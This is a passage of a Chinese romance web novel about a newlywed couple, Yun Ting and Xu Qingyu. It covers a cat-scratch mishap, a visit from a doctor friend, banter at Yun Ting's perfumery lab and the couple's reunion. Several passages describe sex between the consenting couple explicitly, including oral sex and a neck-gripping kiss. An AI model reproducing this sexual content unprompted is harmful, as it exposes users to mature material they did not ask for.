她记得徐清聿抬起头的一刹那,水液从他鼻梁滴下,顺着他的薄唇,沿着下巴流下,性感又色。情。 云听的脸顿时滚烫,被这些回忆烫到了。 她赶紧低下头,把脸埋进了床单里,试图将脸上的烫热感隐藏掉。 其实,徐清聿的技术,并没有他自己想得那么不堪。 除了第一次。 之后的每一次的亲密都像一次新的冒险,不同的地方,不同的姿势,徐清聿表现得愈发娴熟,也让云听完全沉浸其中。 他不再是那个笨拙的只知道横冲直撞的“新手”,而是一个深谙如何调动气氛与情感的主导者。 云听摇晃脑袋,思绪转了一下,猛地意识到一件事情:Zephyr还被徐清聿关在外面。 Zephyr平时总喜欢跟着她到处跑,尤其是每次洗澡时,总是乖巧地在门外等着,而今天,她竟然忘记了把猫放进屋里。 云听心里愧疚,立刻从床上坐起来,打开门。 守在门口Zephyr不叫也不闹,大摇大摆跳进屋里,围着她的腿蹭来蹭去,发出轻微而惬意的呼噜声。 云听蹲下身,摸了摸猫咪的头,“真是对不起,让你在外面等了这么久。” Zephyr“喵喵”叫了两声。 云听关上门,抱起猫,路过浴室,听到了一声低沉的闷哼从里面传来,声音沙哑而充满压抑,仿佛是在忍耐着什么,极具挑逗性。 云听不受控制地走近浴室的门口,她知道徐清聿在干什么。她也能想象到徐清聿此时的模样:肌肉紧绷,表情痛苦而迷人,每一分力气都在努力压抑着内心的渴望。 徐清聿今天没有和她做。 云听在犹豫,要不要学习徐清聿,直接推开门进去。 不是她饥渴,是中国人讲究礼尚往来。 云听纠结了10分钟,一阵长长的喘息声伴随着水流的声音停止了,空气中弥漫着一种凝重的安静。 徐清聿今天好像有点快? 云听发现自己好像真的有些变。态,登时有一种干了坏事即将被发现的心虚感,立刻转身离开。 这时,浴室门打开了,徐清聿的身影出现在她身后。 他没有穿衣服,水珠还在他结实的胸膛上滑落,湿发稍微凌乱,面上带着一抹难以掩饰的疲惫。 云听的视线往下… 徐清聿好像还没结束。 “你在偷听?”徐清聿问。 是肯定的语气。 第34章 第三十四章 “我不是偷听” “你在偷听?” “我、我不是偷听!”云听抬脚的动作僵住, 被一股无形的力量扼住行动,双腿钉死在地板上。 “不是偷听?”徐清聿笑,目光轻飘飘地扫过她, 停在她怀里的布偶身上,“那你趴在门上干什么?” “也没有趴…”云听没做过的事坚决不会承认。 况且,徐清聿用词也不对。 趴?怎么可能? 一个字,猥琐程度直线上升。 但直视上徐清聿戏谑又探究的眼神, 她决定,做过的事也不认账,“我没 有听…” 其实云听大可以怼回去,颇有气势地告诉徐清聿:耳朵长在我自己身上,我想听就听, 再说,是你自己非要喘得那么大声,是我逼你的吗? 问题是,她敢吗? 她不敢。 徐清聿也摆明不想放过她,慷慨大方说:“想知道什么, 不必藏着掖着,不如我直接演示给你?” 他说得严肃正经,表情还有一些玩味,就好像云听应该感谢他的大度似的。 云听:“……” 也不必, 只是好奇而已。 “云听,我说过, 你想知道什么,只要你问我,我会告诉你。同样,你想看什么, 想做什么,我都不会阻拦你。” 云听:“……” 云听一度在“徐清聿会不会说情话”间摇摆不定。 他所说的话,完全不像云听幻想的那样出现在浪漫温馨的场合。相反,他的每一句看似情话的话,都在最不合时宜的场合出现。 如果徐清聿不是为了打趣她,让她难堪,那么徐清聿就是妥妥的直男。 如此场合,还不如不说,说出来徒增尴尬。 云听脑子飞快一转,看到怀里的布偶,强行把锅甩出去:“是它,它跑到门口,我怕它乱跑才抱着它过来的。” Zephyr歪头,圆圆的蓝眼睛眨了眨,又转头望向徐清聿。 下一秒,它像是发现了什么天大的好奇点,猛地从云听怀里跃起,直接扑向徐清聿。 “Zephyr!”云听伸手想要拦住,但动作还是慢了一拍。 “喵——”Zephyr发出一声轻叫,落在徐清聿的胸口上,两只前爪搭在他的肩膀,两只后爪按在他结实的肌肉上。 徐清聿始料未及,身体后倾,表情略微痛苦。 “下来。”他不耐烦地命令。 Zephyr全然不理会他的警告,好奇地用鼻子嗅了嗅他的锁骨,又兴致勃勃地抬起爪子,抓了抓他的肩膀。 尽管Zephyr的爪子已经修剪过,但由于跳跃的高度和力量,它的爪子并没有找到支撑点,而是直接撞上徐清聿的胸膛和肩膀。 再加上它的身体一开始没有着陆,只能用爪子抓住徐清聿的皮肤。还算锋利的爪子没有任何缓冲,直接在徐清聿的裸露的皮肤上划出几道伤口。 徐清聿嫌弃地抓住Zephyr的后颈,将它从自己身上拽了下来。 Zephyr还很满足地“喵”了一声,甩了甩尾巴,没意识到自己的“罪行”。 “抱好这只猫。” 云听接过猫,挤出一个讨好的笑容:“你看,它真的不是故意的……它、它平时很乖的!可能是喜欢你,才会跳到你身上……” 徐清聿没说话。 说着说着,云听才看到徐清聿的胸口,几道细长的划痕同时渗出血珠。 她急忙放下猫,凑近,无比自责:“徐清聿,你伤口流血了……我帮你处理一下?” 徐清聿拽过浴巾围在下半身,没把伤口当回事,“没事,不严重。” “怎么会不用管!”云听着急道,“你都出血了!猫爪子上很多细菌的,万一感染了怎么办?” “没关系。” “可它只打过一支疫苗!”云听比徐清聿更紧张,“万一,万一它身上有病毒呢?你不知道的,那些传染病、细菌很可怕的……” 徐清聿抬眼看她,眸色深沉如夜。 云听被他的目光看得不自在,愧疚感愈发浓厚。 徐清聿说:“拿药箱吧。” “我、我去拿!”云听如蒙大赦,飞快地跑向屋外,翻箱倒柜地找药箱。 找到后,她小跑着回到徐清聿身边,等徐清聿用清水冲洗完伤口后,她拿起棉签和碘伏:“你忍一下,可能会有点疼……” 徐清聿颔首。 云听抿唇,拿起蘸了碘伏的棉签靠近他的胸膛,看到渗血的抓痕时,动作更加轻柔。 “真的不疼吗?” “嗯。”徐清聿语气淡淡,盯着云听的唇。 规则的抓痕横亘在徐清聿的上半身,深深浅浅,血迹不时渗出,慢慢扩散。 每一次擦拭,血迹都会再次渗出。 根本止不住血。 消毒后,云听从药箱拿出纱布,为他包扎伤口。 她不专业,纱布贴得凌乱,尤其是在一些深度伤口的周围,纱布明显歪斜。 看到徐清聿的冷白的皮肤上到处都是红棕色的碘伏和血迹,云听哪里会放心:“可是就算不疼,也不能忽视啊,就算猫现在是健康的,但是它的疫苗没全打完,我之前看过新闻,说有些病毒潜伏期很长的……” 她停顿了下:“我也不是希望你出事,但防范总比后悔好吧?再说了,这本来就是因为我才……” 徐清聿作出让步:“好。” 他给家庭医生打了电话,挂断电话后,靠在沙发闭目养神。 两人没再交谈。 云听忽地发现自己忘了一件事。 视线前后左右转了一圈,然后装作无意间落在徐清聿浴巾遮住的地方。 她本来只是好奇,可看到那儿记忆变得十分清晰,大脑还在迟疑,嘴巴先行一步:“徐清聿,你、现在还需要解决吗?” 徐清聿睁开眼,侧头看她,眉头轻挑,似乎在笑,实则并非如此:“嗯?” 云听尴尬,但心里有种不吐不快的冲动。她心里不是滋味,咬了咬牙说道:“那个刚刚你在浴室里,被猫抓之前……你不是在……” 话到一半,剩下的卡在她的喉咙里。 徐清聿会懂她的意思的。 徐清聿:“嗯。” 云听权衡三秒,鼓足勇气:“……需要我帮你吗?” 闻言,徐清聿冷哼了一声,声音低沉,继而重新闭上眼睛:“谢谢,不用了。” 云听看到徐清聿的耳根有点红,不太明显,她稍稍挪动屁股,两人距离只剩10公分左右,“……真的不用吗?” 徐清聿委婉又直接道:“不用,没欲。望了。” 云听:“……” 早知道不问了。 真多此一举。 空气中无形的尴尬蔓延,云听咳嗽了一声,调整呼吸,轻巧地找了个话题插入,“徐清聿,Zephyr不是故意的,你别生气,它只是太激动了。” “嗯。” “Zephyr只是喜欢你,想和你多接触,他很乖的。” “嗯。” “徐清聿,你不会把猫——” 这边,云听还在拼命为Zephyr开脱,挽回它所剩无几的形象,她怕徐清聿等会儿算起账来,一生气就把猫送走。 另一边,Zephyr也懂得云听的用心良苦,十分给力。 “喵——”Zephyr软糯的一声叫唤响起,然后就是它的小爪子踩在地板上“噔噔噔”的声音。 云听的话还没说完,就听见房间另一边传来“咣当”一声巨响。 徐清聿和云听同时转头,目光落在罪魁祸首身上。 Zephyr正趴在桌上,毛茸茸的小尾巴晃了晃,身旁是刚刚被它扫下去的一堆东西——一个玻璃水杯滚到了地板上,碎成渣,洒了一地的水,还有几个文件散落在一旁。 一看就是它用力扑腾时打翻的。 紧接着,“哐啷”“咚”的声音接二连三地响起,Zephyr进入兴奋模式,东蹿西跳,一会儿扑向窗帘,一会儿又跃上书架,带倒了一本又一本书。 场面一片混乱。 得亏了徐清聿大部书都在书房, 云听顿感自己被狠狠打脸了,呆呆地看着混乱不堪的场景,反倒是徐清聿先开口,淡定问:“很乖?” 云听急了,饶是她脾气再好此刻也坐不住了,“乖个屁……” 在事情发生到不可扭转之前,她 连忙起身去抓猫。 但是Zephyr已经结束兴奋模式,转而开启狂暴模式,根本不听指挥。 云听刚靠近一步,它立刻窜向另一个角落,爪子精准地掀翻了桌上的摆件。接连不断的声响让云听更加手忙脚乱。 她急得蹲下身抱住猫,又一次扑了空,反而被Zephyr轻巧地绕过。 猫的尾巴划过她的膝盖,云听趁机伸手一捞,终于在猫跳到沙发背上之前将它牢牢抱住。 “你这是在闹什么?!”她将猫举到面前,语气中带着显而易见的恼怒。 “喵~” 云听抬起手指戳了戳猫的鼻子,透着警告的意味,“还要继续捣乱吗?” Zephyr安静了下来,耳朵耷拉着,像个做错事的小孩。 它在云听怀里缩成一团,发出一声软软的“喵呜”,用湿漉漉的眼神看着她,一个劲儿装无辜。 云听无奈,但也深知“慈母多败儿”,过于宠溺只会让Zephyr更加顽皮。 于是她在Zephyr的鼻尖扇了三下,力道不轻,Zephyr委屈地哼哼唧唧不敢反抗。 云听瞥见它这副样子,气消了一半,叹了口气,将它放回沙发上,又顺手捡起散落在地上的几本书,低声嘀咕:“你到底是怎么回事啊,平时不是挺乖的吗……” 她根本不敢看徐清聿的眼睛。 云听已经能预见到徐清聿会说什么: “云听,我说了不能养猫。” “猫就是个麻烦。” 思及此,云听不安地抬头偷偷瞄了徐清聿一眼,见他神情如常,既没有发火也没有说什么责怪的话,只是靠在那里,目光淡淡地扫过混乱的房间,脸上看不出什么情绪。 云听认命,打算自己把残局收拾了。刚行动起来,就听见徐清聿说:“别动。” 她的动作一顿,转过头,看见徐清聿已经从沙发上站了起来,长腿迈过地上的杂物,几步走到她面前,“这些东西我来处理,你坐着别动。” “可……这本来是我的猫弄乱的……” 徐清聿掀眼皮,“你的?” 云听抬头,不太确定地说:“我们的?” 云听蹲下身和徐清聿一起收拾:“你不生气吗?” 猫是她坚持要养的,她也明白徐清聿并不喜欢猫,这次猫闯祸,就是在印证徐清聿当初的反对。 徐清聿抖了抖书页上的杂物,将它们整齐地码回原处,又将散落的玻璃碎片捡起,用垃圾袋包好。 “你不需要道歉,”他将最后一片玻璃扔进垃圾袋,“养猫这件事情是我们共同决定的。既然是我们的决定,就没必要只让你一个人负责。” “可是……”云听还想说些什么。 徐清聿的态度让她很意外。 “没有可是。”徐清聿调高房间的温度,“猫的确是个麻烦,但既然决定养了,就要接受它带来的麻烦。这是我们做出的选择,不是你一个人的责任。” …… 不一会儿,门铃响了,云听跑去开门。 门外站着一个很年轻的男人,穿着便服,带着一个简单的医药箱,面容干净。 不是家庭医生。 他的打扮也不像医生,更像是个刚刚大学毕业的学生。 云听在这之前,从未见过他。 “哟,你也有今天。”年轻医生一见到徐清聿,便开口调侃,语气是毫不掩饰的幸灾乐祸。 徐清聿冷冷地瞥他,“少废话,快点处理。” 医生笑得更加肆意,对徐清聿的冷脸视若无睹。 他把医药箱放下,一边熟练地戴上手套,一边开玩笑地对云听说:“我说啊,清聿这个臭脾气,平时谁都不放在眼里,也只有你能忍了吧?” 云听局促地笑了笑,讪讪地说:“他也没那么坏……” 医生给徐清聿重新处理伤口,嘴上没闲着,“他确实是个很‘好’的人,嗯,绝对的。” 云听看徐清聿像是丧失了痛感,问医生:“会不会留疤?” 医生笑了:“留什么疤啊,这点小伤,他皮糙肉厚,早就习惯了。再说了,就算留疤,又怎么了。” 他给徐清聿的伤口消了毒,重新贴上纱布,打完疫苗后叮嘱道:“最近别碰水,也别太剧烈活动,还有,下次别让猫爬你身上。” 云听站在一旁道谢。 医生走之前,整理了下衣服,对云听说:“忘记介绍了,余姚星,清聿的大学室友兼好兄弟。” “你好,云听。” 余姚星小声提醒云听:“猫的行为,很多时候会受到主人的影响。它之所以会乱跑、调皮,可能是故意的,也许……” 他顿了顿,笑得更深,“也许是被某些人带坏了。” 云听一时没反应过来,“什么意思?” 余姚星这时又故意抬高音调:“我的意思是,猫很聪明,他调皮也很正常,但你要小心——有些人看着高冷,实际上坏得要命,说不定潜移默化会影响到它呢。” 徐清聿:“你可以走了。” 余姚星耸了耸肩,转身向门口走去,但在离开前,他回头补了一句:“云听,好好照顾你的猫,也好好注意某人,不然谁知道猫下次会闯出什么祸?” 云听没太明白这句话的深意,只当他是在开玩笑,讪笑着点了点头:“谢谢,我会注意的。” 余姚星挥了挥手,头也不回地走了,走之前又不忘吐槽一句,“以后别大晚上找我哥。” 云听望见他离开的背影,心想这人有点专业,居然了解猫的性情,结果就听到他说,“这点小事我哥每次都让我来,我只是一个肛肠科医生。” 云听嘴角一抽,难以置信地问正打算回房间的徐清聿:“……徐清聿,你们看病都这么随便的吗?” 徐清聿穿上衣服,“他哥懂,他也耳濡目染会一点,没有很随便,打针而已。” 第35章 第三十五章 尴尬现场 云听坐在餐桌对面, 眼神胶在徐清聿清晰的唇线上。 回想起昨天,同样是这双唇,辗转落在她的脸颊、脖颈, 最后停留在她的…… 徐清聿在用他的牙齿细细地磨。 月退酸胀得厉害,云听的呼吸声全是乱的,一开始只是轻轻的抽泣声,随着徐清聿逐渐进入深处, 喘息声也变得难以自抑。 而就在她喘息的间隙,一声轻微却又性感的吞咽声传入她的耳中,充满了原始的雄性魅力。 云听全身紧绷,指尖泛白,在徐清聿黑发徒劳地动了动。 她的视野已然模糊不清, 眼前的一切都像是被蒙上了一层薄纱,影影绰绰,看不真切。 只觉得自己的身体沉浸在炽热的余韵之中,绵软无力,连一根手指都难以抬起。 不知过了多久, 徐清聿的唇从她身下抽离,每一个动作都似慢镜头般在她混沌的意识里放映。 云听下意识地看向他,朦胧中,目光首先撞上的, 是他湿湿的嘴唇。 在灯光下,那湿润泛着微光。 徐清聿的唇色偏浅, 原本浅淡的唇色被浓烈的绯色晕染,嫣红欲滴。 云听张了张嘴,想要说些什么,可喉咙干涩得发不出一点声音。只能傻傻地用目光紧锁徐清聿的嘴唇, 那湿软的触感仿佛还残留在身体,酥麻的感觉从月腿心蔓延至全身。 “云听,想尝尝吗?”徐清聿沙哑的声音仿若从遥远的地方传来,又直直地钻进她的心底。 云听还没来得及做出任何反应,甚至连思绪都还没来得及整理,就感觉脖子一紧,徐清聿的手已经扣住了她的脖颈,滚烫的气息喷薄在她的脸颊。 紧接着,他的唇重重地压了上来。 云听的呼吸被夺走,肺部因缺氧发出尖锐的抗议,阵阵发紧,她只能大口喘息,却吸入更多他的气息。 徐清聿舌尖撬开她的贝齿,霸道地纠缠着她的。 云听毫无防备,顷刻被卷入汹涌漩涡,好似坠入深海。 黑暗裹挟着她,让她看不清周遭一切,只能感受那铺天盖地的温度将自己层层包裹。 徐清聿的吻愈发激烈。 云听已经彻底处于失重的状态,分不清上下左右。 这是一种濒临死亡的快。感,极致的刺激让她的每一根神经都在兴奋地颤抖,在这致命的甜蜜中,她感到自己正在慢慢沉沦,却又无力抗拒,甚至甘愿沉溺其中,永不再醒来。 很快,咸咸的味道在两人的唇齿间散开 ,起初云听以为是海水的味道。 后来才惊觉,那是她的眼泪。泪水不受控制地涌出,顺着脸颊滑落,流进嘴角,与徐清聿的吻交织在一起。 … 云听机械地握着勺子,在粥碗里胡乱搅拌。 勺子与碗壁频繁碰撞,搅起的粥不断溅出碗沿,洒落在餐桌上,落下一滩滩不规则的水渍。 “在想什么?” 徐清聿淡定的声音将云听从回忆里拉了回来。 云听强行回神,眼神闪躲,支支吾吾地回道:“没……没什么,就是有点走神了。” 徐清聿没有多问,继续吃早餐。 云听舀起一勺粥送入口中。 滚烫的粥接触到舌尖,强烈的灼痛感立刻袭来。 云听“嘶”地倒吸一口凉气,五官因疼痛皱成一团,嘴里不停地呼气。 见状,徐清聿几步便跨到云听身旁,眉头紧拧成个“川”字,“张嘴,让我看看。” 他伸出手抬起云听的下巴,将她的头微微后仰,好让光线更好地照进嘴里,“怎么这么不小心。” 云听的舌尖因为昨晚被反复摩挲纠缠,本就酸痛,又被烫到,双重折磨疼得她眼眶里泛起了泪花。 看着罪魁祸首近在咫尺的唇,她眨了眨眼。 她也不想啊。 都怪徐清聿。 徐清聿起身接了一杯凉水,又快步走回来,递给云听:“含着,能缓解一下。” “谢谢…”云听听话地接过水杯,含了一口凉水在嘴里,舌尖的疼痛有所减轻。 徐清应了声:“嗯。” 话落,他的目光无意落在云听红红的耳朵上,小巧的耳垂红得像熟透的樱桃。 徐清聿不自然地别过头。 房间里安静下来,窗外传来了几声清脆的鸟鸣。 徐清聿重新回到座位,端起温水,杯沿触碰到他线条冷峻的薄唇,他轻抿一口,放下杯子,“这几天要留在医院值班,不回来了。” 云听抬眸望向他,疑惑不解:“你不是去小医院对口培训,做支援吗?怎么还要值班?” 徐清聿没有明确说,“医院人手不够,临时调整了安排。” “那你注意休息,别太累了。”云听欲言又止,“小心你的伤口。” 徐清聿轻声应道:“嗯,你自己在家也照顾好自己。” 吃完早餐后,徐清聿拿起车钥匙,送云听上班。 车在公司门口停下时,徐清聿转头,倾身亲了下云听的侧脸:“下车吧。” “谢谢。”云听推开车门离开时,又回头看了徐清聿一眼,结果正巧撞上他偏头的目光。 她忽视徐清聿别有深意的眼神,仓促地低下头,快步走进公司。 到了实验室后,云听更加难以集中注意力。 调香是需要极高专注力的工作,可她看着熟悉的香料瓶,却连最基本的配比公式都记不清楚了。 昨晚的画面像是顽固的幽灵,总是无声无息地窜进她的脑海,让她根本无法思考。 一闭上眼,徐清聿的脸就会出现。 以前的她,不是这样的。 从前的日子单调却充实的,就像这调香室里的一切:有秩序、有规划,所有的香料按类别整齐摆放,每个配方都有详细记录。 她的一天被规划得明明白白,工作占去了她一天的绝大部分时间。 在和徐清聿结婚之前,除去必要的睡觉饮食,她一天的时间,几乎有一半的都泡在实验室里。 她爱香料,爱调香。 香味是一种语言,她乐于用这些气味讲故事。 至于剩下的时间,她有时会匆匆与家人打个电话,或者与朋友吃顿晚餐,当然有时候也会想起徐清聿的脸。 那时候,徐清聿遥不可及,所以云听她会控制自己不去多想,因为她觉得那不过是浪费时间。 她有太多事情要做,太多目标要实现,她不能让情感占据了她的生活。 可这一切在他们结婚后,完全改变了,所有的克制都化为乌有。 结婚后,她忽然发现自己变了一个人。 她再也无法全心全意地投入工作了。 徐清聿的身影总是毫无征兆地闯进她的脑海,不需要任何理由。 她会想起他吃饭时低头夹菜的模样,会想起他坐在书房里处理文件时略显冷峻的侧脸,甚至会想到他无意间露出的那些极少见的柔软目光。 如果说之前的她80%的时间在工作,20%的时间想徐清聿,那么现在,一切完全反转过来了。 她满脑子都是他,他的脸,他的声音,他的气息。 云听想自己可能是得了什么病,一种叫“想他想得发疯”的病。 而这种状态,今天更加明显。 调香比赛已经近在眼前,这个比赛可以说是她成为调香师以来最重要的一个转折点。 但她却无法集中精力。 香料堆积在桌上,她一再拖延实验。 每次开始调配,才刚刚动手,又开始发呆。 云听抬手按了按太阳穴,这哪里是爱情啊,根本就是折磨。 中途,同事经过她的工作台,停下脚步,打量了她两眼,笑着调侃,“小云老师,怎么感觉你最近越来越漂亮了?状态好得让人嫉妒。” 云听被突然来访的同事吓了一跳,也不知道她哪只眼睛看出自己状态好,她回以微笑,“有吗?可能是最近睡得比较好吧。” 同事摆出一副“我才不信”的表情,眉毛一挑,眯眼打量:“当然有啊,从前你可不像这样,总是一副冷静又专业的模样。现在你看起来……嗯,有点小女人的感觉了。” “别瞎说。” “我没瞎说。”同事从口袋中拿出一小面镜子,举到云听面前,“小云老师,你看看,你气色红润,一看就……” 云听:“……好好工作!” 同事走后,云听强打起精神。 不一会儿,Ethan过来了。 他穿着简单的白大褂,走进来时手里还拿着一本记录本,应该是刚从别的实验室过来。 “最近怎么样?” “师傅,还行吧……”云听站起来,“就是有点卡住了,暂时没有灵感。” Ethan把记录本放在一旁,仔细看了她一眼:“脸色怎么这么差?最近没休息好吗?” 云听愣了一下,刚刚同事还夸她气色好,怎么到师傅这就是脸色差了? “没有,只是最近有点……太容易分心了。” “分心?”Ethan眼神精明:“这不太像你的风格啊。以前的你,可是全实验室里最沉得住气的一个,是不是因为结婚的缘故?” 云听惭愧地低下头,抿了抿唇,没接话。 Ethan走到她面前,双手环胸,关心道:“灵感这种东西,不是天天泡在实验室里就能找得到的。你呀,别把自己逼得太紧了,偶尔也要给自己放个假,我不是让你最近别回实验室吗?” “可是……比赛就快到了,我不能在这个时候松懈……” “比赛快到了又怎么样?”Ethan打断了她,语气不重,更多的是一种耐心地的劝导,“灵感和压力是对立的。你越是紧绷着,越容易适得其反。” 云听沉默了一会儿,小声道:“我之前去过一个地方,想着能找点灵感,但是去了以后,也没什么感觉……” Ethan听了,点点头,声线不急不缓:“这很正常。灵感本来就是个神出鬼没的东西,不是你说去找它,它就会乖乖跑出来的。” 云听叹了一口气。 Ethan哼了一声,看到云听耳后露出的吻痕,十分粗鄙地说:“比赛就比赛呗,用得着把自己搞成这样?压力这么大,还不如回家跟你老公‘大战’三天三夜,保准灵感泉涌。” “师傅!”云听猛地抬头,瞪大眼睛看着她,“您怎么能这么说话!” Ethan一脸无辜,摊开双手:“怎么了?我这可是实打实的经验之谈。你不是刚结婚吗?正是你们小两口感情热络的时候。” 云听被这话说得头都快埋进实验台里,耳朵红得快滴血了:“师傅,您别乱说话,实验室还有监控呢!” Ethan不以为然地笑了笑,顺手指了指墙角的摄像头:“怕什么?那些小年轻看了还得感谢我,知道怎么舒缓压力。” 云听哭笑不得,不知道该怎么接话。 Ethan见她这副模样,反而更得意:“行了,别一副受不了的样子。我跟你说啊,灵感这东西,最怕你整天绷着劲儿。调香师也是人,不是机器,灵感要是能逼出来,早就满地天才了。” 云听不想说话。 “你看,你脸都红了。”Ethan一指云听的脸,笑得更夸张,“是不是我猜对了?你最近工作分心,就是因为你家那位吧?” “没、没有!” Ethan眯起眼,头头是道地分析:“啧啧啧,没错了。结了婚,事业心再强也没用,你啊,脑子早就被你家那位占满了。得了吧,别挣扎了,我看你现在干脆回去多陪陪他,说不定一觉醒来灵感就回来了。” “师傅,您够了!”云听实在忍不住了,声音拔高,被师傅调侃得无地自容,“您是不是被师母骂了?” 云听一向非常尊敬自己的师傅。无论是多么复杂的香型搭配,还是多么艰难的调香任务,师傅总是以冷静的态度和精准的判断一一化解。 他的专业性和严谨的性格是整个团队的标杆,他也是云听心中最为崇敬的人之一。 在她的印象里,师傅工作上是“严肃”的代名词,生活中,是“温柔”的代名词。 一旦他跳出温柔和严肃两个界限,唯一的可能性就是他又被师母骂了。 第一次是几个月前,Ethan在一个上午会议中突然失态,原本正在给团队做赛前动员的他,一边讲解一边频频分心,在PPT上连续标错了好几个比例数值。 云听当时觉得不可思议,因为Ethan从来不会犯这样低级的错误。 休息时,趁四下无人,她上前问了一句:“师傅,您今天好像有些心不在焉,身体不舒服吗?” Ethan沉着脸摆了摆手,咬牙切齿地吐出一句:“没事,就是早上被你师母骂了,说什么我不会选衣服,穿得像个老年人,我穿的不是挺年轻的吗?” 云听瞠目结舌,根本无法将“被师母嫌弃穿搭”而一脸委屈的Ethan和对平对人严肃Ethan联系起来。 更让她震惊的是,那天午休时,她看到师傅正在网上看潮流服装搭配的视频,还认真地拿出小本子做笔记…… 第二次是一个月前,师傅在实验室里调配香料,不小心打碎了一瓶非常贵重的基香原料。 这种失误在师傅身上几乎是不可想象的。 云听过去帮忙收拾,谁知道Ethan直接摆烂,整个人靠在实验台边,表情很丧,“算了,不收拾了,今天心情不好。” “师傅,您怎么了?” 师傅用一种复杂的表情看着她,沉默了半晌,最终叹道:“早上出门的时候,你师母说我最近发际线又往后移了,说我压力大,心情差,老得快,我哪里老了?” 而今天,是第三次。 当Ethan轻描淡写地对她说出“你压力大就跟你老公大战三天三夜”惊世骇俗的话时,云听愣了整整五秒钟,怀疑自己听错了。 但她很快明白原因,“师傅,你还是回去好好哄师母吧。” Ethan脸色微僵,轻咳找补:“你怎么知道?” 云听心里忍住笑意,假装很认真地回答:“每次您有点……‘不太正经’的时候,基本上都是被师母骂了。” Ethan越想越郁闷:“早上她说我在家里不帮忙,还占着沙发看电视,活像个大爷,让我反省,我哪里像个大爷?” 云听低头抿唇,努力控制不让自己笑出声。 平时严肃古板的师傅,在师母面前竟然也会变得这么“接地气”。 虽然Ethan的“建议”听起来很不靠谱,但云听打心眼里清楚,他是在用自己的方式安慰自己。 她垂下眼睫,真诚道谢:“谢谢您,师傅。我知道了。” “行了,别把自己逼得太紧。”Ethan拍了拍她的肩膀,“记住,我是过来人,有些话虽然听起来粗鄙,但是真有用。” * 下班后,云听回到家。 Zephyr一副懵懂的模样,似乎想不起来自己昨晚闯的祸,讨好地舔了舔云听的手指。 云听抱起它走进屋内,将包挂在衣架上。 四下里安静得有些过分,房间里没有开灯,只有窗外微弱的街灯投进些许朦胧的光影。 Zephyr从她怀里一跃而下,径直跑向床,找了个舒适的位置蜷成一团,闭上了眼睛。 云听和苏黎刚在外面吃了晚饭,听了苏黎两个小时的絮絮叨叨,小年轻总有说不完的话,一会儿吐槽这个人性格有问题,一会儿又羡慕云听结婚,还一直嚷嚷着要看徐清聿的照片。 云听没有徐清聿的照片,她们唯一一张合照是结婚证上的照片。 苏黎听完后,问两人为什么不拍结婚照。 云听答不上来。 婚礼太急,来不及拍,或者是徐清聿也没打算拍。 洗澡完后,云听拿出手机,点开和辛亦桐的对话框。 辛亦桐:「徐清聿不回来,你要不要过来和我住几天?」 辛亦桐:「反正你一个人在家也是无聊,干脆来陪我说说话。」 云听:「算了,不去了。」 辛亦桐:「有异性没人性。」 辛亦桐:「怎么?不想搭理我了?还是嫌弃我家小,留不下你这尊大佛???」 辛亦桐:「你不用狡辩了,不原谅你。」 云听:「当然不是!」 云听:「我还有工作呢。」 云听:「飞吻.jpg」 辛亦桐:「行行行,工作狂。」 云听有苦难言,她现在全身上下遍布吻痕,旧的没消,新的又来。 尤其是脖子。 徐清聿好像特别喜欢她的脖子,又掐又咬的。 她这几天不得不穿衣柜里最保守的高领衫,将自己裹得严严实实,可即便如此,还是有几处吻痕若隐若现。 穿睡衣,更不得了。 要是被辛亦桐看到,估计又得打趣她。 不是一般的打趣。 以云听对她的了解,她定会八卦徐清聿的长度、直径、频率等… 结束和辛亦桐聊天,云听又和云闻聊了几句。 云听一直想和云闻聊金毛男的事,但云闻最近很忙,云听陆陆续续给她发消息,她基本都是隔天回。 她拨通云闻的号码,电话这次很快接通。 “听宝,真抱歉啊,这几天实在太忙了,我这才有点空。” 云听听得出云闻声音中透着的倦意,每个字都带着沉甸甸的疲劳感。 “没关系,我能理解,”她心疼道,“忙完了吗?你都这么久没给我回消息了。” “最近这段时间拍摄特别紧,很多事情都压着,回你短信慢了点。”云闻对别人骂了句脏话,接着又继续对云听说,“你也知道,工作中有时事情堆得跟山一样,真是一个接一个,我这几天几乎都没怎么睡。” 云听说:“周日回家我给你按摩按摩。” 云闻感动得快哭了,“呜呜呜,世界上对我最好的人只有听宝了。不说了不说了,我先去忙了。” * 时间一晃到周日,云听和徐清聿约好一起回徐宅。 徐清聿白天没有休息,还在工作,无法过来接她,云听也没有让他专程过来,而是自己先回了徐宅。 一进门,家里异常安静,空荡荡的,没有任何声 音,只有淡淡的木制家具和陈设散发出的温暖气息。 徐爷爷和徐奶奶最近迷上了听戏曲,整天听着老式的音响和悠扬的曲调,家里也一刻待不下去,整天跑外面听戏曲。 阿姨也不在。 云听放下手中的包,倒了一杯水,坐在沙发上稍作休息。 太阳未落,阳光洒在庭院中,漂亮极了。 徐宅里有太多她和云闻、她和徐清聿的回忆。 云听坐了五分钟,正打算上楼,刚起身时,听到门口传来脚步声。 紧接着,徐清聿推门而入。 他似乎瘦了很多,给人一种疲惫的感觉。即使身上覆盖着一层外套,但依然掩盖不住他身上可见的消瘦。 他的脸色也比往常苍白,眼底的青色比往日更加明显。 两人对视了很久。 徐清聿感受到了她的沉默,先收回视线,他走近,脱下大衣,挂在了一旁的衣架上。 几步走到云听面前,还没等云听开口,就一把将她拥入怀中。 他的嘴唇先是小心地触碰云听的,像羽毛轻扫,可仅仅一秒,积攒多日的思念就彻底决堤。 徐清聿加深了这个吻,双唇急切地贴合,舌尖撬开她的牙齿,与她的纠缠在一起。 云听伸手想要抚摸徐清聿的脸庞,然而她的手腕却被他紧紧扣住。 徐清聿将她缓缓压向沙发,吻愈发汹涌。他的舌尖在她的口中肆意游走,不放过任何一处角落,时而轻轻吮吸,时而急切掠夺,带着浓厚占有欲。 云听的心中慌乱与羞涩无处安放,她锤了锤徐清聿的后背,试图提醒他这里是公共场合,随时都可能有人回来。 万一被长辈看到,就惨了。 然而,她的提醒并没有用。 徐清聿的手从云听的手腕慢慢下滑,与她的手指交缠在一起,紧紧握住,仿佛要把她融入自己的生命。 十指相扣,掌心的温度,通过相握的手,传递到彼此的心底。 他的另一只手托住云听的后脑,加深这个吻的同时,也在安抚着她的不安。 两人的唇瓣因为激烈的亲吻变得红肿,可徐清聿却没有丝毫停下的念头。 他恶意地咬了咬云听的下唇,引得她轻轻颤抖,随后又用舌尖温柔地舔舐,安抚她的疼痛。 他的吻逐渐从云听的嘴唇,沿着她滚烫的脸颊,一路向下,落在她纤细的脖颈上,留下一个个粉色的吻痕。 每落下一吻,云听都忍不住战栗,喉咙里发出细碎的、模糊不清的声音,分不清是抗拒还是迎合。 